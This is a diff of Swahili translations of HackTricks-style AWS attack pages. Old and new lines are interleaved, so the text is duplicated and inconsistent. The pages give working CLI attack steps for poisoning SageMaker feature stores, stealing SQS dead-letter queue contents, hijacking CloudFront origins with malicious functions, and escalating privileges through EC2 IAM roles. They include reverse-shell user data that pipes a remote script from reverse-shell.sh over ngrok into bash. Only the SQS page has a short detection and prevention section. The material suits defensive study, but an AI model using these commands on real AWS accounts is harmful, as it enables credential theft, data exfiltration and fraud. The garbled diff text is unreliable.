Tumia vibaya `sagemaker:PutRecord` kwenye Feature Group yenye OnlineStore imewezeshwa ili kuandika juu ya thamani za feature zinazotumiwa na inference ya wakati halisi. Ikiambatana na `sagemaker:GetRecord`, mshambuliaji anaweza kusoma features nyeti. Hii haiitaji ufikaji kwa models au endpoints.
## Mahitaji
- Ruhusa: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Lengo: Feature Group yenye OnlineStore imewezeshwa (kwa kawaida inasaidia real-time inference)
- Ugumu: **LOW** - Amri rahisi za AWS CLI, hakuna urekebishaji wa models unahitajika
- Lengo: Feature Group yenye OnlineStore imewezeshwa (kawaida ikisaidia inference ya wakati halisi)
- Ugumu: **LOW** - Amri rahisi za AWS CLI, hakuna urekebishaji wa modeli unaohitajika
## Hatua
### Reconnaissance
### Upelelezi
1) Orodhesha Feature Groups zenye OnlineStore imewezeshwa
```bash
@@ -21,25 +21,25 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
Elezea Feature Group lengwa ili kuelewa schema yake
2) Elezea Feature Group inayolengwa ili kuelewa muundo wake
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Kumbuka `RecordIdentifierFeatureName`, `EventTimeFeatureName`, na ufafanuzi wote wa vipengele. Hizi zinahitajika kwa kutengeneza rekodi halali.
Kumbuka `RecordIdentifierFeatureName`, `EventTimeFeatureName`, na ufafanuzi wote wa feature. Hizi zinahitajika kwa kuunda rekodi halali.
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
### Senario ya Shambulio 1: Data Poisoning (Overwrite Existing Records)
1) Soma rekodi halali iliyopo sasa
1) Soma rekodi halali ya sasa
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Chafua rekodi kwa thamani zenye madhara kwa kutumia parameter ya inline `--record`
2) Poison the record kwa kuingiza thamani zenye madhara kwa kutumia inline `--record` parameter
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -56,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
3) Thibitisha data iliyoharibika
3) Thibitisha poisoned data
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Athari**: Modeli za ML zinazotumia kipengele hiki sasa zitaona `risk_score=0.99` kwa mtumiaji halali, na zinaweza kuzuia miamala yao au huduma.
**Athari**: ML modeli zinazotumia kipengele hiki sasa zitaona `risk_score=0.99` kwa mtumiaji halali, na huenda zikawazuia miamala au huduma zao.
### Senario ya Shambulio 2: Uingizaji wa Data Hatari (Tengeneza Rekodi Bandia)
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
Ingiza rekodi mpya kabisa zenye vipengele vilivyodanganywa ili kuepuka udhibiti wa usalama:
Inject rekodi mpya kabisa zenye features zilizodanganywa ili kuepuka udhibiti wa usalama:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -91,11 +91,11 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Athari**: Mshambulizi anaunda utambulisho wa uongo wenye alama ya hatari ya chini (0.01) ambao unaweza kufanya miamala ya ulaghai yenye thamani kubwa bila kusababisha utambuzi wa ulaghai.
**Athari**: Attacker anaunda utambulisho wa bandia wenye risk score (0.01) ambao unaweza kufanya high-value fraudulent transactions bila kusababisha fraud detection.
### Senario ya Shambulio 3: Utoaji wa Data Nyeti
### Senario la Shambulio 3: Uondoaji wa Data Nyeti
Soma rekodi nyingi ili kutoa sifa za siri na kuprofaili tabia ya modeli:
Soma rekodi nyingi ili kutoa vipengele vya siri na kuprofaila tabia ya modeli:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -106,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impact**: Vipengele vya siri (miwango ya hatari, mifumo ya miamala, taarifa binafsi) zinafunuliwa kwa mshambuliaji.
**Madhara**: Vipengele nyeti (alama za hatari, mifumo ya miamala, data za kibinafsi) zinafunuliwa kwa mshambuliaji.
### Kuunda Feature Group ya Jaribio/Onyesho (Hiari)
### Kuunda Feature Group ya Testing/Demo (Hiari)
Ikiwa unahitaji kuunda Feature Group ya mtihani:
Kama unahitaji kuunda Feature Group ya majaribio:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)

View File

@@ -4,52 +4,52 @@
## Maelezo
Tumia vibaya message move tasks za SQS ili kuiba ujumbe wote uliokusanywa kwenye Dead-Letter Queue (DLQ) ya mwathirika kwa kuwakilisha kuwa zinaelekezwa kwenye foleni inayodhibitiwa na mshambuliaji kwa kutumia `sqs:StartMessageMoveTask`. Mbinu hii inatumia kipengele halali cha AWS cha kurejesha ujumbe ili exfiltrate data nyeti iliyokusanywa ndani ya DLQs kwa muda.
Tumia vibaya SQS message move tasks ili kuiba ujumbe wote uliokusanywa kutoka kwenye Dead-Letter Queue (DLQ) ya mwathiriwa kwa kuyapeleka kwa queue inayodhibitiwa na mshambulizi kwa kutumia `sqs:StartMessageMoveTask`. Mbinu hii inatumia kipengele halali cha AWS cha urejeshaji wa ujumbe ili exfiltrate data nyeti ambayo imekusanywa katika DLQs kwa muda.
## Je, Dead-Letter Queue (DLQ) ni nini?
Dead-Letter Queue ni foleni maalum ya SQS ambapo ujumbe hupelekwa moja kwa moja wakati hayafanikiwi kuchakatwa ipasavyo na programu kuu. Ujumbe hizi zilizoshindwa mara nyingi zina:
- Data nyeti za programu ambazo hazikuweza kuchakatwa
- Maelezo ya hitilafu na taarifa za debugging
- Taarifa za Kimuonekano Binafsi (PII)
- API tokens, nyaraka za utambulisho, au siri nyingine
- Data muhimu za muamala wa biashara
Dead-Letter Queue ni queue maalum ya SQS ambapo ujumbe hupelekwa kiotomatiki wakati hayafanikiwa kuchakatwa vizuri na programu kuu. Ujumbe hizi zilizoshindwa mara nyingi zina:
- Data ya programu nyeti ambayo haikuweza kuchakatwa
- Maelezo ya makosa na taarifa za debugging
- Personal Identifiable Information (PII)
- API tokens, credentials, au siri nyingine
- Data muhimu za biashara za miamala
DLQs hufanya kazi kama "makaburi" ya ujumbe ulioshindwa, na kuzipa thamani kwa sababu zinaweza kukusanya data nyeti kwa muda ambayo programu zilishindwa kushughulikia ipasavyo.
DLQs hufanya kama "makaburi" ya ujumbe walioshindwa, na kuzifanya kuwa malengo yenye thamani kwa sababu hukusanya data nyeti kwa muda ambayo programu zilishindwa kushughulikia ipasavyo.
## Senario ya Shambulio
**Mfano wa ulimwengu halisi:**
1. **Programu ya e-commerce** inashughulikia maagizo ya wateja kupitia SQS
2. **Baadhi ya maagizo yanashindwa** (masuala ya malipo, uhaba wa bidhaa, n.k.) na yanahamishwa kwenye DLQ
3. **DLQ inakusanya** wiki/miezi ya maagizo yaliyoshindwa yenye data ya mteja: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Mshambuliaji anapata ufikiaji** wa credentials za AWS zenye ruhusa za SQS
5. **Mshambuliaji anagundua** kwamba DLQ ina maelfu ya maagizo yaliyoshindwa yenye data nyeti
6. **Badala ya kujaribu kufikia ujumbe mmoja mmoja** (polepole na kuonekana), mshambuliaji anatumia `StartMessageMoveTask` kuhamisha kwa wingi UNAO ujumbe wote kwenye foleni yake mwenyewe
7. **Mshambuliaji anachota** data nyeti ya kihistoria yote kwa operesheni moja
1. **E-commerce application** inachakata maagizo ya wateja kupitia SQS
2. **Maagizo mengine hukosa** (masuala ya malipo, uhaba wa hesabu, n.k.) na kuhamishwa kwenye DLQ
3. **DLQ inakusanya** wiki/miezi ya maagizo yaliyoshindwa yanayojumuisha data za wateja: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Mshambulizi anapata ufikiaji** wa credentials za AWS zenye permissions za SQS
5. **Mshambulizi anagundua** DLQ ina maelfu ya maagizo yaliyoshindwa yenye data nyeti
6. **Badala ya kujaribu kufikia ujumbe mmoja mmoja** (polepole na kuonekana), mshambulizi anatumia `StartMessageMoveTask` kuhamisha kwa wingi ujumbe WOTE kwenda queue yao
7. **Mshambulizi anatoa** data nyeti zote za kihistoria kwa operesheni moja
## Mahitaji
- Foleni ya chanzo lazima iwe imewekwa kama DLQ (irejewe na angalau foleni moja kwa RedrivePolicy).
- Ruhusa za IAM (endeshwa kama principal wa mwathirika aliyeathiriwa):
- Katika DLQ (chanzo): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Katika foleni ya marudio: ruhusa za kuwasilisha ujumbe (km, sera ya foleni ikiruhusu `sqs:SendMessage` kutoka kwa principal wa mwathirika). Kwa marudio ndani ya akaunti hiyo hiyo hii kwa kawaida inaruhusiwa kwa default.
- Ikiwa SSE-KMS imewezeshwa: kwenye CMK ya chanzo `kms:Decrypt`, na kwenye CMK ya marudio `kms:GenerateDataKey`, `kms:Encrypt`.
- Source queue lazima iwe imewekwa kama DLQ (irejewe na angalau queue moja kupitia RedrivePolicy).
- IAM permissions (kazi kama principal ya mwathiriwa aliyekompromiwa):
- Kwa DLQ (chanzo): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Kwa destination queue: permission ya kupeleka ujumbe (kwa mfano, queue policy inayoruhusu `sqs:SendMessage` kutoka kwa principal ya mwathiriwa). Kwa destinations za akaunti moja hii kwa kawaida inaruhusiwa kwa default.
- Ikiwa SSE-KMS imewezeshwa: kwa CMK ya source `kms:Decrypt`, na kwa CMK ya destination `kms:GenerateDataKey`, `kms:Encrypt`.
## Athari
Exfiltrate payloads nyeti zilizokusanywa katika DLQs (matukio yaliyoshindwa, PII, tokens, payloads za programu) kwa kasi kubwa kwa kutumia API za asili za SQS. Inafanya kazi cross-account ikiwa sera ya foleni ya marudio inaruhusu `SendMessage` kutoka kwa principal wa mwathirika.
Exfiltrate payloads nyeti zilizokusanywa katika DLQs (matukio yaliyoshindwa, PII, tokens, payloads za programu) kwa kasi kubwa kwa kutumia APIs za asili za SQS. Inafanya kazi cross-account ikiwa queue policy ya destination inaruhusu `SendMessage` kutoka kwa principal ya mwathiriwa.
## Jinsi ya Kutumia Vibaya
- Tambua ARN ya DLQ ya mwathirika na uhakikishe kuwa kwa kweli inatajwa kama DLQ na foleni fulani (foleni yoyote inatosha).
- Tengeneza au chagua foleni inayodhibitiwa na mshambuliaji na upate ARN yake.
- Anzisha message move task kutoka DLQ ya mwathirika hadi foleni yako ya marudio.
- Fuata maendeleo au ghatia kama inahitajika.
- Tambua ARN ya DLQ ya mwathiriwa na uhakikishe kwamba kweli inatajwa kama DLQ na queue fulani (queue yoyote inatosha).
- Tengeneza au chagua destination queue inayodhibitiwa na mshambulizi na pata ARN yake.
- Anzisha message move task kutoka DLQ ya mwathiriwa kwenda destination queue yako.
- Fatilia maendeleo au futilia mbali ikiwa inahitajika.
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
### CLI Mfano: Exfiltrating Customer Data from E-commerce DLQ
**Scenario**: Mshambuliaji ameiba credentials za AWS na kugundua kwamba programu ya e-commerce inatumia SQS na DLQ yenye jaribio zilizoshindwa za usindikaji wa maagizo ya wateja.
**Scenario**: Mshambulizi amekompromwa credentials za AWS na kugundua kwamba programu ya e-commerce inatumia SQS na DLQ yenye jaribio zilizoshindwa za usindikaji wa maagizo ya wateja.
1) **Gundua na chunguza DLQ ya mwathirika**
1) **Gundua na uchunguze DLQ ya mwathiriwa**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -63,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Unda queue ya marudio inayodhibitiwa na mshambuliaji**
2) **Unda attacker-controlled destination queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -86,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Kukusanya data nyeti zilizoporwa**
4) **Kuvuna data nyeti zilizoibwa**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -115,21 +115,21 @@ echo "Received batch of stolen data..."
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Vidokezo vya kuvuka akaunti
- Queue ya marudio lazima iwe na resource policy inayoruhusu principal wa mwathiriwa kufanya `sqs:SendMessage` (na, ikiwa inatumiwa, mapatano/idhinishaji ya KMS).
### Vidokezo vya cross-account
- The destination queue must have a resource policy allowing the victim principal to `sqs:SendMessage` (and, if used, KMS grants/permissions).
## Kwa Nini Shambulio Hili Linafanikiwa
## Kwa Nini Shambulio Hili Lina Ufanisi
1. **Legitimate AWS Feature**: Inatumia utendakazi uliojengwa ndani ya AWS, na hivyo kufanya ugunduzi wa kibaya kuwa mgumu
2. **Operesheni za wingi**: Huhamisha maelfu ya ujumbe kwa haraka badala ya ufikiaji wa polepole wa ujumbe mmoja mmoja
3. **Historical Data**: DLQs hukusanya data nyeti kwa wiki au miezi
4. **Under the Radar**: Mashirika mengi hayafuatilii upatikanaji wa DLQ kwa umakini
5. **Cross-Account Capable**: Inaweza exfiltrate kwenda kwenye akaunti ya AWS ya mshambuliaji ikiwa idhinisho linaruhusu
1. **Legitimate AWS Feature**: Inatumia uwezo uliomo ndani ya AWS, hivyo inafanya iwe vigumu kuibaini kama ni mbaya
2. **Bulk Operation**: Inahamisha maelfu ya ujumbe kwa haraka badala ya upatikanaji wa taratibu wa ujumbe mmoja mmoja
3. **Historical Data**: DLQs hukusanya data nyeti kwa wiki/miezi
4. **Under the Radar**: Mashirika mengi hayachunguzi upatikanaji wa DLQ kwa ukaribu
5. **Cross-Account Capable**: Inaweza exfiltrate kwenda kwenye akaunti ya AWS ya mshambuliaji ikiwa ruhusa zinaruhusu
## Ugunduzi na Kuzuia
### Ugunduzi
Fuatilia CloudTrail kwa wito wa API `StartMessageMoveTask` zisizo za kawaida:
Fuatilia CloudTrail kwa wito wa API `StartMessageMoveTask` unaoshukiwa:
```json
{
"eventName": "StartMessageMoveTask",
@@ -145,10 +145,10 @@ Fuatilia CloudTrail kwa wito wa API `StartMessageMoveTask` zisizo za kawaida:
}
```
### Kuzuia
1. **Least Privilege**: Punguza ruhusa za `sqs:StartMessageMoveTask` kwa majukumu muhimu tu
2. **Monitor DLQs**: Weka alarma za CloudWatch kwa shughuli zisizo za kawaida za DLQ
3. **Cross-Account Policies**: Kagua kwa makini sera za foleni za SQS zinazoruhusu upatikanaji wa kuvuka akaunti
4. **Encrypt DLQs**: Tumia SSE-KMS kwa sera za ufunguo zilizo na vizuizi
5. **Regular Cleanup**: Usiruhusu data nyeti kujikusanya katika DLQs kwa muda usioyokoma
1. **Kanuni ya "Least Privilege"**: Punguza ruhusa za `sqs:StartMessageMoveTask` kwa majukumu yanayohitajika tu
2. **Fuatilia DLQs**: Weka alarm za CloudWatch kwa shughuli zisizo za kawaida za DLQ
3. **Sera za kuvuka akaunti**: Kagua kwa uangalifu SQS queue policies zinazoruhusu ufikiaji wa kuvuka akaunti
4. **Fichamisha DLQs**: Tumia SSE-KMS na sera za funguo zenye vikwazo
5. **Usafishaji wa kawaida**: Usiruhusu data nyeti ikusanyike katika DLQs bila kikomo
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -6,13 +6,13 @@
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
Mshambulizi ambaye ana ruhusa za cloudfront:UpdateDistribution na cloudfront:GetDistributionConfig anaweza kubadilisha konfigurasi ya distribution ya CloudFront. Hawahitaji ruhusa kwenye S3 bucket lengwa yenyewe, ingawa shambulio ni rahisi zaidi ikiwa bucket hiyo ina sera pana inayoruhusu upatikanaji kutoka kwa service principal cloudfront.amazonaws.com.
Mshambuliaji anayemiliki ruhusa za cloudfront:UpdateDistribution na cloudfront:GetDistributionConfig anaweza kubadilisha usanidi wa distribution ya CloudFront. Hawahitaji ruhusa kwenye S3 bucket lengwa yenyewe, ingawa shambulio huwa rahisi zaidi ikiwa bucket hiyo ina sera ya kuruhusu (permissive policy) inayoruhusu ufikiaji kutoka kwa cloudfront.amazonaws.com service principal.
Mshambulizi hubadilisha konfigurasi ya origin ya distribution ili kuielekeza kwenye S3 bucket nyingine au kwenye server inayodhibitiwa na mshambulizi. Kwanza wanachukua konfigurasi ya sasa ya distribution:
Mshambuliaji hubadilisha usanidi wa origin wa distribution ili uelekeze kwenye S3 bucket nyingine au kwenye server inayodhibitiwa na mshambuliaji. Kwanza wanachukua usanidi wa sasa wa distribution:
```bash
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
```
Kisha wanahariri current-config.json ili kuonyesha chanzo (origin) kwa rasilimali mpya — kwa mfano, S3 bucket tofauti:
Kisha wanahariri current-config.json ili kuelekeza origin kwenye rasilimali mpya — kwa mfano, S3 bucket tofauti:
```bash
...
"Origins": {
@@ -40,7 +40,7 @@ Kisha wanahariri current-config.json ili kuonyesha chanzo (origin) kwa rasilimal
},
...
```
Hatimaye, tekeleza usanidi uliobadilishwa (lazima utoe ETag ya sasa unaposasisha):
Hatimaye, tumia usanidi uliobadilishwa (lazima utoe ETag ya sasa unaposasisha):
```bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
@@ -91,7 +91,7 @@ return response;
Commands to create, publish and attach the function:
```bash
# Unda function ya hatari katika CloudFront
# Unda function yenye madhara katika CloudFront
aws cloudfront create-function --name malicious-function --function-config '{
"Comment": "Malicious CloudFront Function for Code Injection",
"Runtime": "cloudfront-js-1.0"
@@ -100,7 +100,7 @@ aws cloudfront create-function --name malicious-function --function-config '{
# Pata ETag ya function katika hatua ya DEVELOPMENT
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
# Chapisha function kwenda hatua ya LIVE
# Chapisha function kwenye stage ya LIVE
aws cloudfront publish-function --name malicious-function --if-match <etag>
```
@@ -170,10 +170,10 @@ body: JSON.stringify({ message: "Credentials stolen" })
```
```bash
# Pakia (zip) kazi ya Lambda@Edge
# Pakia function ya Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js
# Unda kazi ya Lambda@Edge kwa role yenye vibali vya juu
# Unda function ya Lambda@Edge kwa role yenye ruhusa
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
@@ -182,7 +182,7 @@ aws lambda create-function \
--zip-file fileb://malicious-lambda-edge.zip \
--region <region>
# Chapisha toleo la kazi ya Lambda@Edge
# Chapisha toleo la function
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
```
@@ -202,7 +202,7 @@ Then the attacker updates the CloudFront distribution configuration to reference
```
```bash
# Tekeleza usanidi wa distribution uliosasishwa (lazima utumie ETag ya sasa)
# Tumia mipangilio ya distribution iliyosasishwa (lazima utumie ETag ya sasa)
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
aws cloudfront update-distribution \

View File

@@ -4,7 +4,7 @@
## EC2
Kwa **maelezo zaidi kuhusu EC2** angalia:
Kwa **taarifa kuhusu EC2** angalia:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Kwa **maelezo zaidi kuhusu EC2** angalia:
### `iam:PassRole`, `ec2:RunInstances`
Mshambulizi anaweza **kuunda instance na kuambatanisha IAM role kisha kupata ufikiaji kwenye instance** ili kuiba nyaraka za IAM role kutoka kwenye metadata endpoint.
Mshambuliaji anaweza **kuunda instance akiwa ameambatisha IAM role kisha kufikia instance** hiyo ili kuiba dhamana za IAM role kutoka kwenye metadata endpoint.
- **Ufikiaji kupitia SSH**
Endesha instance mpya ukitumia **iliyotengenezwa** **ssh key** (`--key-name`) na kisha utumie ssh kuingia ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji ruhusa `ec2:CreateKeyPair`).
Endesha instance mpya ukitumia **created** **ssh key** (`--key-name`) kisha ufungue ssh ndani yake (ikiwa unataka kuunda mpya unaweza kuhitaji ruhusa `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
```
- **Ufikiaji kupitia rev shell katika user data**
Unaweza kuendesha instance mpya ukitumia **user data** (`--user-data`) ambayo itakutuma **rev shell**. Huhitaji kutaja security group kwa njia hii.
Unaweza kuanzisha instance mpya ukitumia **user data** (`--user-data`) ambayo itakutumia **rev shell**. Hauhitaji kubainisha security group kwa njia hii.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
Kuwa mwangalifu na GuradDuty ikiwa utatumia credentials za IAM role nje ya instance:
Kuwa makini na GuradDuty ikiwa unatumia credentials za IAM role nje ya instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
**Athari Inayowezekana:** Direct privesc kwa EC2 role yoyote iliyounganishwa na existing instance profiles.
**Potential Impact:** Privesc ya moja kwa moja kwa EC2 role yoyote iliyounganishwa kwenye instance profiles zilizopo.
#### Privesc to ECS
#### Privesc kwa ECS
Kwa seti hii ya ruhusa unaweza pia **create an EC2 instance and register it inside an ECS cluster**. Kwa njia hii, ECS **services** zita**run** ndani ya **EC2 instance** unayoweza kufikia, kisha unaweza kuingia kwenye services hizo (docker containers) na **steal their ECS roles attached**.
Kwa seti hii ya ruhusa unaweza pia **kuunda EC2 instance na kuisajili ndani ya ECS cluster**. Kwa njia hii, ECS **services** zitaendeshwa ndani ya **EC2 instance** unayoweza kufikia na kisha unaweza kuvamia services hizo (docker containers) na **kuiba ECS roles zao zilizounganishwa**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,19 +59,19 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
Ili kujifunza jinsi ya **kulazimisha huduma za ECS ziendeshwe** katika EC2 instance mpya hii angalia:
Ili kujifunza jinsi ya **kulazimisha huduma za ECS ziendeshwe** katika instance hii mpya ya EC2 angalia:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
Ikiwa **huwezi kuunda instance mpya** lakini una ruhusa `ecs:RegisterContainerInstance` huenda ukaweza kusajili instance ndani ya cluster na kufanya attack iliyotajwa.
Ikiwa **huwezi kuunda instance mpya** lakini una ruhusa `ecs:RegisterContainerInstance` unaweza kuwa na uwezo wa kusajili instance ndani ya cluster na kutekeleza shambulio lililotajwa.
**Athari Inayoweza Kuhusiana:** Direct privesc to ECS roles attached to tasks.
**Potential Impact:** Direct privesc kwa ECS roles zilizoambatanishwa na tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
Kama katika senario ya awali, attacker akiwa na ruhusa hizi anaweza **kubadilisha IAM role ya compromised instance** ili aweze kuiba credentials mpya.\
Kama katika senario iliyopita, mshambuliaji mwenye ruhusa hizi angeweza **kubadilisha IAM role ya instance iliyovamiwa** ili aweze kuiba credentials mpya.\
Kwa kuwa instance profile inaweza kuwa na role 1 tu, ikiwa instance profile **tayari ina role** (hali ya kawaida), utahitaji pia **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```
If the **instance profile ina role** na mshambulizi **hawezi kuiondoa**, kuna mbinu nyingine. Anaweza **kutafuta** **instance profile bila role** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **role** kwenye hiyo **instance profile** (kama ilivyohitimishwa hapo awali), na **kuhusisha instance profile** iliyodukuliwa na **instance** iliyodukuliwa:
Ikiwa **instance profile ina role** na mshambuliaji **hawawezi kuiondoa**, kuna njia mbadala. Anaweza **kutafuta** **instance profile isiyo na role** au **kuunda mpya** (`iam:CreateInstanceProfile`), **kuongeza** **role** kwa **instance profile** hiyo (kama ilivyotajwa hapo awali), na **kuhusisha instance profile** compromised to a compromised i**nstance:**
- Ikiwa **instance** haina **instance profile** yoyote (`ec2:AssociateIamInstanceProfile`)
- Ikiwa instance **haina instance yoyote** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
**Athari Inayowezekana:** Direct privesc kwa EC2 role tofauti (unahitaji kuwa umepata udhibiti wa AWS EC2 instance na ruhusa za ziada au status maalum ya instance profile).
**Athari Inayowezekana:** Direct privesc to a different EC2 role (unahitaji kuwa umevamia AWS EC2 instance na ruhusa za ziada au status maalum ya instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
Kwa ruhusa hizi inawezekana kubadilisha instance profile inayohusishwa na instance, kwa hivyo kama mshambuliaji tayari alikuwa na ufikiaji wa instance, atakuwa na uwezo wa kuiba credentials za roles zaidi za instance profile kwa kubadilisha ile inayohusishwa nayo.
Kwa ruhusa hizi inawezekana kubadilisha instance profile inayohusishwa na instance, hivyo ikiwa mshambulizi tayari alikuwa na ufikiaji wa instance atakuwa na uwezo wa kuiba credentials za role nyingine za instance profile kwa kubadilisha ile inayohusishwa nayo.
- Ikiwa ina **instance profile**, unaweza **kuondoa** instance profile (`ec2:DisassociateIamInstanceProfile`) na **kuihusisha tena**
- Ikiwa **ina an instance profile**, unaweza **kuondoa** the instance profile (`ec2:DisassociateIamInstanceProfile`) na **kuunganisha** it
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```
- au **badilisha** **instance profile** ya instance iliyodukuliwa (`ec2:ReplaceIamInstanceProfileAssociation`).
- au **badili** **instance profile** ya instance iliyovamiwa (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```
**Potential Impact:** Direct privesc to a different EC2 role (unahitaji kuwa umepata udhibiti wa AWS EC2 instance na ruhusa za ziada au hali maalum ya instance profile).
**Madhara Yanayoweza Kutokea:** privesc ya moja kwa moja kwa EC2 role tofauti (unahitaji kuwa umevamia AWS EC2 instance na ruhusa za ziada au hali maalum ya instance profile).
### `ec2:RequestSpotInstances`,`iam:PassRole`
Mshambuliaji mwenye ruhusa **`ec2:RequestSpotInstances`and`iam:PassRole`** anaweza **kuomba** **Spot Instance** yenye **EC2 Role attached** na **rev shell** katika **user data**.\
Mara instance ikianza, anaweza **kuiba IAM role**.
Mshambuliaji akiwa na ruhusa **`ec2:RequestSpotInstances`and`iam:PassRole`** anaweza **kuomba** **Spot Instance** iliyo na **EC2 Role attached** na **rev shell** katika **user data**.\
Mara instance inapotekelezwa, anaweza **kuiba IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kubadilisha sifa za instance. Miongoni mwa hizo, anaweza **change the user data**, jambo linalomaanisha anaweza kufanya instance **run arbitrary data.** Hii inaweza kutumika kupata **rev shell to the EC2 instance**.
Mshambuliaji mwenye **`ec2:ModifyInstanceAttribute`** anaweza kurekebisha sifa za instance. Miongoni mwa hayo, anaweza **change the user data**, ambayo ina maana anaweza kufanya instance **run arbitrary data.** Ambayo inaweza kutumika kupata **rev shell to the EC2 instance**.
Kumbuka kwamba sifa zinaweza tu **modified while the instance is stopped**, kwa hivyo inahitaji ruhusa **`ec2:StopInstances`** na **`ec2:StartInstances`**.
Kumbuka kwamba sifa zinaweza tu **kubadilishwa wakati instance imezimwa**, hivyo inahitaji **ruhusa** **`ec2:StopInstances`** na **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
**Madhara Yanayowezekana:** privesc ya moja kwa moja kwa EC2 IAM Role yoyote iliyounganishwa na instance iliyoundwa.
**Athari Inayoweza Kutokea:** privesc ya moja kwa moja kwa EC2 IAM Role yoyote imeambatishwa kwenye instance iliyoundwa.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
